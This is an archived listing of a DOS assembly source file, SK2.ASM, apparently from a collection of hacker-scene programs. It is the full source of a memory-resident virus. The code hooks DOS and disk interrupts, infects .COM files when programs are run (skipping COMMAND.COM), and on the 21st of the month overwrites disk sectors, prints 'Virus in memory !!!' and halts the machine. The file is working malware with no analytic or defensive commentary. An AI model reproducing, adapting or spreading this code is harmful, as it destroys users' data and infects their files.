home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SK2.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  5KB  |  298 lines

  1. start:  jmp     short begin
  2.     db    (00h)
  3.     db    (53h)
  4.     db    (4bh)
  5.     int    20h
  6. okey:    db    (0b8h)
  7.     db    (03h)
  8.     db    (00h)
  9.     db    (0cdh)
  10.     db    (10h)
  11. begin:    push    cx
  12.     CALL    F1
  13. F1:    POP    SI
  14.     SUB    SI,09
  15.     PUSH    SI
  16.         cld
  17.     mov    di,100h
  18.     mov    cx,5
  19.     rep    movsb
  20.     jmp    ding2
  21. int21h: STI
  22.     cmp    ah,4bh
  23.     jz    mm
  24.         jmp     int1hh
  25. mm:    pushf
  26.         PUSH    AX
  27.     PUSH    BX
  28.     PUSH    CX
  29.     PUSH    DX
  30.     PUSH    DS
  31.     PUSH    ES
  32.     PUSH    SI
  33.     PUSH    DI
  34.     mov    byte ptr [virusw],1
  35.         mov     ah,2ah
  36.     int    21h
  37.     cmp    dl,21
  38.     jnz    et3
  39.     mov    ax,0309h
  40.     mov    dx,0000h
  41.     mov    cx,0001h
  42.     lea    bx,[100h]
  43.     int    13h
  44.     mov    ah,9
  45.     mov    dx,offset name
  46.     int    21h
  47.     cli
  48.     hlt
  49. dinge:    jmp    ding
  50. et3:    push    cs        ;ds <- cs
  51.     pop    ds
  52.     mov    ah,2fh        ;Dos service function ah=2FH (get DTA)
  53.     int    21h        ;ES:BX Addres of current DTA
  54.     mov    [edta],ES
  55.     mov    [bdta],BX
  56.     mov    ah,1ah        ;Dos service function ah=1AH (set DTA)
  57.     mov    dx,offset end+7 ;DS:DX Addres of DTA
  58.     int    21h
  59.     push    cs
  60.     pop    ds
  61.         MOV     AH,4eH
  62.         MOV     DX,offset files
  63.     mov    cx,00
  64.         INT     21H             ;Dos service function ah=4EH (FIND FIRST)
  65.         jc      dinge           ;CX  File attribute
  66.                                 ;DS:DX Pointer of filespec (ASCIIZ string)
  67. vir:    mov    ax,3d02h
  68.     push    cs
  69.     pop    ds
  70.     mov    dx,offset end+7 ;DS:DX Addres of DTA
  71.     add    dx,1EH
  72.     int    21h        ;Dos service function ah=3DH (OPEN FILE)
  73.                                 ;AL Open mode
  74.                                 ;DS:DX Pointer to filename (ASCIIZ string)
  75.                                 ;Return AX file handle
  76.         mov     [handle],ax
  77.     mov    ah,'C'
  78.     mov    al,'D'
  79.         PUSH    DX
  80.         POP     BX
  81.     cmp    [bx],ah ;Compare filename for 'COMMAND.COM'
  82.     jnz    p1        ;If not first char 'C' then push virus in file
  83.     cmp    [bx+6],al
  84.     jz    v        ;If 7 char 'D' then find next file
  85. p1:     mov     bx,handle
  86.         push    cs
  87.     pop    ds
  88.     mov    ah,3fh
  89.     mov    dx,offset end
  90.     mov    cx,5
  91.     int    21h        ;Dos service function ah=3FH (READ FILE)
  92.                                 ;BX File handle
  93.                                 ;CX Number of bytes to read
  94.                                 ;DS:DX Addres of buffer
  95.     push    cs
  96.     pop    es        ;ES <- CS
  97.     cld
  98.         PUSH    DX
  99.         POP     SI
  100.     mov    di,offset okey
  101.     mov    cx,5
  102.     rep    movsb        ;Repeat While CX>0 do ES:DI <- DS:SI
  103.                                 ;                     SI=SI+1
  104.                                 ;                     DI=DI+1
  105.     mov    ax,534bh
  106.     mov    di,dx
  107.     add    di,3
  108.     cmp    [di],ah
  109.     jnz    fuck
  110.     inc    di
  111.     cmp    [di],al
  112.     jnz    fuck
  113. v:    push    cs
  114.     pop    ds
  115.     mov    bx,handle
  116.     mov    ah,3eh
  117.     int    21h
  118.     push    cs
  119.     pop    ds
  120.     mov    ah,4fh
  121.     int    21h
  122.     jc    enzi
  123.     jmp    short vir
  124. enzi:    jmp    ding
  125. fuck:   mov     ax,offset end+7
  126.     add    ax,1aH
  127.     mov    di,ax
  128.         Mov     Word Ptr cx,[di]
  129.         mov     ax,offset end
  130.     mov    di,ax
  131.     mov    al,0e9h
  132.     cmp    cx,1a0h
  133.     jna    v
  134.     add    cx,2
  135.     mov    [di],al
  136.     inc    di
  137.     mov    Word Ptr [di],cx
  138.     mov    ax,534bh
  139.     add    di,2
  140.     mov    [di],ah
  141.     inc    di
  142.     mov    [di],al
  143.         mov     bx,[handle]    ;
  144.     mov    ax,4200h
  145.     xor    cx,cx
  146.     xor    dx,dx
  147.     push    cs
  148.     pop    ds
  149.     int    21h
  150.     mov    bx,handle
  151.     mov    ah,40h
  152.     mov    dx,offset end
  153.     mov    cx,5
  154.     int    21h
  155.     mov    ax,4202h
  156.     xor    cx,cx
  157.     xor    dx,dx
  158.     int    21h
  159.     push    cs
  160.     pop    ds
  161.     mov    bx,handle
  162.     mov    ah,40h
  163.     mov    dx,offset okey
  164.     mov    cx,end-okey
  165.     int    21h
  166.     mov    bx,handle
  167.         mov     ah,3eh
  168.     int    21h
  169.     inc    Word ptr [save]
  170. ding:    push    cs
  171.     pop    ds
  172.     mov    ah,1ah
  173.     mov    ds,[edta]
  174.     mov    dx,[bdta]
  175.     int    21h
  176.     mov    byte ptr [virusw],0
  177.         POP     DI
  178.     POP    SI
  179.         POP     ES
  180.     POP    DS
  181.     POP    DX
  182.     POP    CX
  183.     POP    BX
  184.     POP    AX
  185.     popf
  186. int1hh    nop
  187. int1h:  db      (0eah)
  188. is:    dw    0
  189. io:    dw    0
  190. int13h: cli
  191.     PUSH    BX
  192.     PUSH    CX
  193.     PUSH    DX
  194.     PUSH    DS
  195.     PUSH    ES
  196.     PUSH    SI
  197.     PUSH    DI
  198.     inc    Word ptr [save]
  199.     cmp    Word ptr [save],1000h
  200.     jnz    etk3
  201.     cli
  202.     hlt
  203. etk3:    STI
  204.         int     65h
  205.     push    ax
  206.     mov    ax,0
  207.     mov    ds,ax
  208.     cmp    byte ptr [virusw],0
  209.     pop    ax
  210.     jz    etk5
  211.         clc
  212.     mov    ax,0
  213. etk5:   POP     DI
  214.     POP    SI
  215.         POP     ES
  216.     POP    DS
  217.     POP    DX
  218.     POP    CX
  219.     POP    BX
  220.     db    (0CAH)
  221.     db    (02)
  222.     db    (00)
  223. name:    db    'Virus in memory !!! $'
  224. for1:    jmp    ding1
  225. files:    db    '*.com',0
  226. ding2:    mov    ax,0000h
  227.     mov    ds,ax
  228.         MOV     BX,300H
  229.     MOV    CX,4b53h
  230.     cmp    [bx],cx
  231.     jz    for1
  232.         mov     [bx],cx
  233.         mov     ah,62h
  234.     int    21h
  235.     mov    ds,bx
  236.     mov    bx,[2ch]
  237.     dec    bx
  238.     mov    dx,0FFFFh
  239. loc_1:    mov    ds,bx
  240.     mov    di,[3]
  241.     inc    di
  242.     add    dx,di
  243.     add    bx,di
  244.     cmp    byte ptr [0000],5Ah
  245.     jne    loc_1
  246.     mov    cx,es
  247.     add    cx,dx
  248.     sub    word ptr [3],80h
  249.     sub    cx,80h
  250.     sub    cx,10h
  251.     mov    es,cx
  252.     mov    di,100h
  253.     cld
  254.         mov     ax,0000h
  255.         mov     ds,ax
  256.         mov     bx,[004ch]
  257.         mov     [0194h],bx
  258.         mov     cx,[004eh]
  259.         mov     [0196h],cx
  260.     MOV    BX,[0084H]
  261.     MOV    CX,[0086H]
  262.     push    cs
  263.     pop    ds
  264.     POP    SI
  265.     PUSH    SI
  266.     ADD    SI,IS-OKEY
  267.     MOV    [SI],BX
  268.     MOV    [SI+2],CX
  269.     POP    SI
  270.     PUSH    SI
  271.     sub    si,7
  272.     mov    di,100h
  273.     mov    cx,800h
  274.     rep    movsb
  275.     mov    ax,0000
  276.     mov    ds,ax
  277.     cli
  278.     mov    WORD PTR [0086h],ES
  279.         mov     WORD PTR [004eh],ES
  280.     mov    di,int13h-okey
  281.     add    di,107h
  282.         mov     WORD PTR [004ch],di
  283.     mov    di,int21h-okey
  284.     add    di,107h
  285.     mov    WORD PTR [0084h],di
  286. ding1:    POP    SI
  287.     sti
  288.     PUSH    CS
  289.     POP    DS
  290.     POP    CX
  291.     mov    si,100h
  292.     jmp    si
  293. handle: dw    ?
  294. edta:    dw    ?
  295. bdta:    dw    ?
  296. VIRUSW: DB    (00)
  297. SAVE:    DB    (00)
  298. end:    db      (00)